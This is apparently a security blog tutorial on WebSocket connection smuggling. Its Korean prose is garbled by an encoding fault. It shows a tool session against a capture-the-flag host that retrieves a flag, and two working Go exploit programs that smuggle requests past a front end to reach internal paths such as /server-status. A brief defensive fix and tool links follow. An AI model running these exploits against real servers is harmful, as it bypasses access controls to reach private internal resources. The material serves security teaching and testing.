๐ Introduction
WebSocket
์น ์์ผ์ ๋จ์ผ ์์ฒญ ๋น ์ฐ๊ฒฐํ์ธ HTTP์ ๋จ์ ์ ๋ณด์ํ๊ธฐ ์ํ ํ๋กํ ์ฝ๋ก HTTP ๊ธฐ๋ฐ์ Handshake ๊ณผ์ ๊ณผ ์ดํ TCP/TLS ํต์ ์ ์ด์ฉํ์ฌ ์๋ฒ์ ํด๋ผ์ด์ธํธ๊ฐ ์ง์์ ์ผ๋ก ์์ผ ํต์ ํ ์ ์์ต๋๋ค.
- Stateful ํ ํ๋กํ ์ฝ
- ํฌ๊ฒ Handshake์ Data transfer์ ๊ณผ์ ์ผ๋ก ๋๋จ
๋ง์ ์น ์์ผ์ Data transfer ๋จ๊ณ์์ subprotocol์ ์ฌ์ฉํ์ฌ ํต์ ํฉ๋๋ค. ๋ณธ ๊ณต๊ฒฉ๊ณผ๋ ๋ฌด๊ดํ์ง๋ง ์์๋๋ฉด ์ข์ต๋๋ค. (sub-protocols)
WebSocket handshake
์น ์์ผ์ ์๋์ ์๋ handshake ๊ณผ์ ์ ํตํด ์๋ฒ์ ํด๋ผ์ด์ธํธ๊ฐ ์ฐ๊ฒฐํฉ๋๋ค. ์ดํ์ ๊ธฐ์กด HTTP ํต์ ์์ WebSocket ํต์ ์ผ๋ก Switching ๋ฉ๋๋ค.
WebSocket Connection Smuggling
์น์์ผ์ ์์์ธ HTTP Upgrade Request๊ฐ ์ ์ก๋ ๋ Sec-WebSocket-Version ํค๋ ๋ฑ์ ์๋ชป๋ ๊ฐ์ด ํฌํจ๋ ๊ฒฝ์ฐ ์๋ฌ ์๋ต์ธ 426์ด ๋ฐ์ํฉ๋๋ค. ์ฌ๋ฏธ์๋ ์ ์ ์ด ๋ ํด๋ผ์ด์ธํธ์ ์น ์์ผ ์๋ฒ๋ Connection(wss๋ tls, ws๋ tcp)์ด ๋งบ์ด์ง๊ณ ์ด๋ ์น ์์ผ ํต์ ์ ์ฌ์ฉํ์ง ์์ต๋๋ค.
The |Sec-WebSocket-Version| header field in the clientโs handshake includes the version of the WebSocket Protocol with which the client is attempting to communicate. If this version does not match a version understood by the server, the server MUST abort the WebSocket handshake described in this section and instead send an appropriate HTTP error code (such as 426 Upgrade Required) and a |Sec-WebSocket-Version| header field indicating the version(s) the server is capable of understanding.
์ฆ HTTP ์์ฒญ์ ์ฒ๋ฆฌํ ์ ์๋ ํฐ๋์ด ์๊ธด๊ฑฐ๊ณ , ์ฌ์ฉ์๊ฐ Connection close๋ฅผ ํ์ง ์๊ณ ๋ฐ๋ก HTTP ์์ฒญ์ ์ ๋ฌํ๋ฉด, Back-End์ ์๋ ์์ผ ์๋ฒ๊ฐ ์ด๋ฅผ ์ฒ๋ฆฌํ์ฌ ์ฌ์ฉ์์๊ฒ ์ ๋ฌํด์ค๋๋ค. (G/W ๋ฐฉ์์ด๋, Front-End๊ฐ ๋ณ๊ฐ๋ก ์๋ ๋์ผํฉ๋๋ค)
๊ฒฐ๊ตญ ๊ณต๊ฒฉ์๋ ์ด ํฐ๋์ ์ด์ฉํด์ ๋ฐฑ์๋ ์๋ฒ์ ํต์ ํ ์ ์๊ฒ ๋ฉ๋๋ค. ์ด ์์ฒด๋ง์ผ๋ก ๋ฌธ์ ๊ฐ ๋์ง ์์ง๋ง, HTTP ๊ธฐ๋ฐ์ ACL์ด ์๋ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ธ ์น ์์ฒญ์์ ์ ๊ทผํ์ง ๋ชปํ๋ ๊ฒฝ๋ก์ ์ด tls/tcp ํฐ๋์ ์ด์ฉํ์ฌ ์ ๊ทผํ ์ ์๊ฒ ๋ฉ๋๋ค.
๐ก Offensive techniques
Detect
์ด๋ฅผ ์ฒดํฌํ๊ธฐ ์ํด์ ๋น์ ์์ ์ธ Sec-WebSocket-Version ํค๋๋ฅผ ํฌํจํด์ ์ ์กํ์ฌ Response์ ์ฒ๋ฆฌ ๋ฐฉ์์ ํ์ธํฉ๋๋ค. ๋ณดํต 426 Response๊ฐ ์ค๋ฉด ์ทจ์ฝํ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํ๋ฉฐ, ์ฌ๊ธฐ์ Socket Smugglingํ์ฌ ๋ค๋ฅธ Resource๋ฅผ ๊ฐ์ ธ์ฌ ์ ์๋์ง ์ฒดํฌํด์ผํฉ๋๋ค. ์ด๋ฅผ ์ฝ๊ฒ ํ๊ธฐ ์ํด ๊ฐ๋จํ ๋๊ตฌ๋ฅผ ํ๋ ๋ง๋ค์์ต๋๋ค.
Install websocket-connection-smuggler
go get github.com/hahwul/websocket-connection-smuggler
Testing with websocket-conneciton-smuggler
~/go/bin/websocket-connetion-smuggler
Set target
WCS(...) > set target {your target}
Set SSL
# HTTPS
WCS(...) > set ssl true
# HTTP
WCS(...) > set ssl false
Set Original Request
WCS(...) > set o_data
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket
Set smuggled request
WCS(...) > set s_data
GET /flag HTTP/1.1
Host: localhost:5000
Running sample
WCS(target=>None | ssl=>false ) > set target challenge.0ang3el.tk:80
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set o_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set s_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > send
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket
2019/11/30 03:39:15 HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Date: Fri, 29 Nov 2019 18:39:15 GMT
{"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"}
gth: 119
Date: Fri, 29 Nov 2019 18:39:14 GMT
๏ฟฝ0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"5148720e07f240a99e6aa7457f41686f"}๏ฟฝ40
Exploitation
WebSocket Connection Smuggling์ด ํ์ธ๋๋ฉด ๋ด๋ถ ๋ฆฌ์์ค์ ์ต๋ํ ์ ๊ทผํด์ ๋ฐ์ดํฐ๋ฅผ ๋ฝ์์ผํฉ๋๋ค. Smuggle request์ Host header ๋ฑ์ ์์ ํ๋ฉด์ ์ ๊ทผํ ์ ์๋ ๋ฆฌ์์ค๋ฅผ ํ์ธํ์ฌ ์ํฅ๋ ฅ์ ์ฆ๋ช ํฉ๋๋ค.
HTTP
package main
import (
"log"
"net"
"io"
)
func main() {
conn, err := net.Dial("tcp", "target_domain:80")
if nil != err {
log.Fatalf("failed to connect to server")
}
req1 := "GET /connect HTTP/1.1\r\nHost: target_domain\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\nSec-WebSocket-Key: n8mYqFLLmPy5r33j7qwGeQ==\r\n\r\n"
req2 := "GET /server-status HTTP/1.1\r\nHost: localhost:8080\r\n\r\n"
recvBuf := make([]byte, 4096)
conn.Write([]byte(req1))
conn.Read(recvBuf)
conn.Write([]byte(req2))
conn.Read(recvBuf)
log.Printf("%s",recvBuf)
if nil != err {
if io.EOF == err {
log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
return
}
log.Printf("fail to receive data; err: %v", err)
return
}
conn.Close()
}
HTTPS
package main
import (
"log"
"crypto/tls"
"fmt"
"io"
)
func main() {
conf := &tls.Config{
InsecureSkipVerify: true,
}
conn, err := tls.Dial("tcp", "target_domain:443", conf)
if nil != err {
log.Fatalf("failed to connect to server")
}
req1 := "GET /connect HTTP/1.1\r\nHost: target_domain\r\nSec-WebSocket-Version: 4444\r\nUpgrade: websocket\r\nSec-WebSocket-Key: n8mYqFLLmPy5r33j7qwGeQ==\r\n\r\n"
req2 := "GET /server-status HTTP/1.1\r\nHost: localhost:8080\r\n\r\n"
recvBuf := make([]byte, 4096)
conn.Write([]byte(req1))
conn.Read(recvBuf)
conn.Write([]byte(req2))
conn.Read(recvBuf)
fmt.Printf("%s",req1+req2)
fmt.Println("====")
log.Printf("%s",recvBuf)
if nil != err {
if io.EOF == err {
log.Printf("connection is closed from client; %v", conn.RemoteAddr().String())
return
}
log.Printf("fail to receive data; err: %v", err)
return
}
conn.Close()
}
๐ก Defensive techniques
๋น ์ ์์ ์ธ Sec-WebSocket-Version
ํค๋๊ฐ ์์ฒญ๋์์ ๋ ์น ์์ผ ์๋ฒ์์ ๋ฌด์ํ๋ฉด ๋ฉ๋๋ค. ๋ณดํต ์ดํ๋ฆฌ์ผ์ด์
/๋ผ์ด๋ธ๋ฌ๋ฆฌ๋จ์์ ํจ์น๊ฐ ๋์์ ๊ฐ๋ฅ์ฑ์ด ๋๊ณ , ๋์๋ค๋ฉด ํจ์น๋ฅผ ์ ์ฉํด์ฃผ์๋ฉด ๋ฉ๋๋ค.
๐น Tools
- https://github.com/hahwul/ws-smuggler
- https://github.com/hahwul/websocket-connection-smuggler
- https://github.com/hahwul/websocket-connection-smuggling-go